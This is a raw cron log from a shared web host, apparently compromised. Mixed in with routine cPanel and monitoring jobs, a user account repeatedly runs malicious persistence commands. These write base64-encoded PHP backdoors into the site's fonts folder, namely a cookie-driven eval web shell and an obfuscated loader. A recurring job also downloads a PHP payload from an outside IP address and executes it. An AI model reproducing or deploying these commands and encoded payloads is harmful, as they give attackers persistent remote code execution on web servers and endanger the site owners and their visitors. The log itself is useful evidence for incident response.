Sep  3 20:16:01 ip-184-168-122-23 CROND[25975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:16:01 ip-184-168-122-23 CROND[25976]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 20:16:01 ip-184-168-122-23 CROND[25979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:16:01 ip-184-168-122-23 CROND[25977]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 20:17:01 ip-184-168-122-23 CROND[26070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:17:01 ip-184-168-122-23 CROND[26071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:17:01 ip-184-168-122-23 CROND[26069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:17:01 ip-184-168-122-23 CROND[26072]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:18:01 ip-184-168-122-23 CROND[26168]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:18:01 ip-184-168-122-23 CROND[26173]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:18:01 ip-184-168-122-23 CROND[26171]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 20:18:01 ip-184-168-122-23 CROND[26170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:18:01 ip-184-168-122-23 CROND[26172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:19:01 ip-184-168-122-23 CROND[26361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:19:01 ip-184-168-122-23 CROND[26362]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:19:01 ip-184-168-122-23 CROND[26363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:19:01 ip-184-168-122-23 CROND[26366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:20:01 ip-184-168-122-23 CROND[26461]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 20:20:01 ip-184-168-122-23 CROND[26464]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 20:20:01 ip-184-168-122-23 CROND[26466]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 20:20:01 ip-184-168-122-23 CROND[26469]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:20:01 ip-184-168-122-23 CROND[26468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:20:01 ip-184-168-122-23 CROND[26474]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 20:20:01 ip-184-168-122-23 CROND[26471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:20:01 ip-184-168-122-23 CROND[26473]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 20:20:01 ip-184-168-122-23 CROND[26472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:21:01 ip-184-168-122-23 CROND[26603]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:21:01 ip-184-168-122-23 CROND[26602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:21:01 ip-184-168-122-23 CROND[26601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:21:01 ip-184-168-122-23 CROND[26604]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:22:02 ip-184-168-122-23 CROND[26687]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 20:22:02 ip-184-168-122-23 CROND[26689]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:22:02 ip-184-168-122-23 CROND[26690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:22:02 ip-184-168-122-23 CROND[26691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:22:02 ip-184-168-122-23 CROND[26693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:23:01 ip-184-168-122-23 CROND[26769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:23:01 ip-184-168-122-23 CROND[26771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:23:01 ip-184-168-122-23 CROND[26772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:23:01 ip-184-168-122-23 CROND[26773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:24:01 ip-184-168-122-23 CROND[26846]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 20:24:01 ip-184-168-122-23 CROND[26848]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:24:01 ip-184-168-122-23 CROND[26850]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:24:01 ip-184-168-122-23 CROND[26851]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:24:01 ip-184-168-122-23 CROND[26852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:25:01 ip-184-168-122-23 CROND[26965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:25:01 ip-184-168-122-23 CROND[26963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:25:01 ip-184-168-122-23 CROND[26966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:25:01 ip-184-168-122-23 CROND[26968]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  3 20:25:01 ip-184-168-122-23 CROND[26971]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 20:25:01 ip-184-168-122-23 CROND[26972]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 20:25:01 ip-184-168-122-23 CROND[26974]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:26:01 ip-184-168-122-23 CROND[27170]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  3 20:26:01 ip-184-168-122-23 CROND[27171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:26:01 ip-184-168-122-23 CROND[27172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:26:01 ip-184-168-122-23 CROND[27175]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:26:01 ip-184-168-122-23 CROND[27179]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 20:26:01 ip-184-168-122-23 CROND[27177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:27:01 ip-184-168-122-23 CROND[27749]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:27:01 ip-184-168-122-23 CROND[27752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 20:27:01 ip-184-168-122-23 CROND[27758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:27:01 ip-184-168-122-23 CROND[27759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 20:28:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  3 20:28:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep  3 20:28:01 ip-184-168-122-23 CROND[27880]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 20:28:01 ip-184-168-122-23 CROND[27884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 20:28:01 ip-184-168-122-23 CROND[27885]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 20:28:01 ip-184-168-122-23 CROND[27882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
